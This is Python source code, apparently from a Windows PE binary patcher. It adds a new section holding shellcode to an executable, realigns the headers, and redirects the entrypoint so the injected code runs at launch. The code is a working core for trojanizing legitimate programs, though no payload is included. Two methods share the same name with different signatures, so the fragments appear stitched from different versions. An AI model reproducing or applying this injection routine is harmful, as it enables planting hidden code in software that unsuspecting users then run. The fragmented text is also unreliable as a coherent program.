def __adjust_windows_specific_headers(self, header_offset): #Adjust base of data: must check whether this RVA is greater that the RVA of the section containing the shell code (section containing entrypoint). base_of_data_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_DATA_RVA current_base_of_data = MultiByteHandler.get_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header) entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, entrypoint_rva_offset_within_header) offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1] entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) if current_base_of_data > entrypoint_section_rva: MultiByteHandler.set_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header, current_base_of_data + self.rva_delta) size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE rva_and_virtual_size_of_last_section = Win32BinaryUtils.get_rva_and_virtual_size_for_last_section(self.binary_data, header_offset) potentially_unaligned_size_of_image = rva_and_virtual_size_of_last_section[0] + rva_and_virtual_size_of_last_section[1] #Size of Image must be aligned using SectionAlignment. aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, potentially_unaligned_size_of_image) MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_image_offset, aligned_size_of_image)
def __adjust_windows_specific_headers(self, header_offset, new_section_rva, new_section_virtual_size): # SizeOfImage size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE potentially_unaligned_size_of_image = new_section_rva + new_section_virtual_size aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment( self.binary_data, header_offset, potentially_unaligned_size_of_image) MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_image_offset, aligned_size_of_image) # SifeOfHeaders size_of_headers_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS current_size_of_headers = MultiByteHandler.get_dword_given_offset( self.binary_data, size_of_headers_offset) updated_size_of_headers = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER padding = Win32BinaryUtils.compute_padding_size_for_file_alignment( self.binary_data, header_offset, updated_size_of_headers) MultiByteHandler.set_dword_given_offset( self.binary_data, size_of_headers_offset, updated_size_of_headers + padding)
def modify_binary(self): header_offset = MultiByteHandler.get_dword_given_offset( self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET) beginning_of_last_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header( self.binary_data, header_offset) self.__set_rva_delta(header_offset) #Computing RVA for last section last_section_rva = MultiByteHandler.get_dword_given_offset( self.binary_data, beginning_of_last_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) last_section_virtual_size = MultiByteHandler.get_dword_given_offset( self.binary_data, beginning_of_last_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER) potentially_unaligned_rva = last_section_rva + last_section_virtual_size new_section_rva = potentially_unaligned_rva + Win32BinaryUtils.compute_padding_size_for_section_alignment( self.binary_data, header_offset, potentially_unaligned_rva) #Computing RAW for last section last_section_raw_offset = MultiByteHandler.get_dword_given_offset( self.binary_data, beginning_of_last_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER) last_section_raw_size = MultiByteHandler.get_dword_given_offset( self.binary_data, beginning_of_last_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER) new_section_raw_offset = last_section_raw_offset + last_section_raw_size + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER + self.header_padding #RVA for Entrypoint offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA entrypoint_rva = MultiByteHandler.get_dword_given_offset( self.binary_data, offset_for_address_of_entrypoint_rva_on_the_header) self.__file_align_shell_code(header_offset, entrypoint_rva - new_section_rva) self.__adjust_data_directories(header_offset) self.__adjust_section_headers(header_offset) self.__adjust_standard_coff_fields_and_coff_header( header_offset, len(self.shell_code)) #<-Size of code #Injecting header new_initialized_header = self.__get_new_header( len(self.shell_code), new_section_rva + self.rva_delta, len(self.shell_code), new_section_raw_offset) new_initialized_header.extend( [0 for x in range(0, self.header_padding)]) self.__append_data_at_offset( new_initialized_header, Win32BinaryUtils.get_raw_offset_for_last_section_header( self.binary_data, header_offset)) #Injecting shellcode self.__append_data_at_offset(self.shell_code, new_section_raw_offset) self.__adjust_windows_specific_headers( header_offset, new_section_rva + self.rva_delta, len(self.shell_code)) #Redirect execution to shellcode self.__overwrite_entrypoint_rva(header_offset) self.__update_checksum(header_offset) return self.binary_data